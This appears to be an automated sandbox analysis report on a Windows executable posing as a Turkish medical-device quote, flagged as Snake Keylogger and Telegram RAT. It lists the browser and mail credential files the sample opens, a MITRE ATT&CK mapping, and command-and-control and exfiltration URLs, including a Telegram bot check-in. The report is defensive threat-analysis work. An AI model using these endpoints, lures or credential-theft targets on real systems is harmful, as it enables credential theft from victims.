Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process created: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"	Jump to behavior

Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager<*P

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Queries volume information: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Queries volume information: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000007.00000002.3759424707.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7608, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3759424707.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7608, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7608, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000007.00000002.3759424707.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7608, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3759424707.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7608, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	112 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	34%	ReversingLabs
fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	35%	Virustotal		Browse
fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	100%	Avira	HEUR/AGEN.1307351
fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://localhost/calculator_server/requests.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	172.67.177.134	true	false	high
api.telegram.org	149.154.167.220	true	false	high
adendanismanlik.com.tr	77.245.159.14	true	true	unknown
checkip.dyndns.com	193.122.6.168	true	false	high
checkip.dyndns.org	unknown	unknown	false	high
mail.adendanismanlik.com.tr	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:745773%0D%0ADate%20and%20Time:%2007/12/2024%20/%2009:28:08%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20745773%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.228	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://aborters.duckdns.org:8081	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com/	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?L	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp	false		high
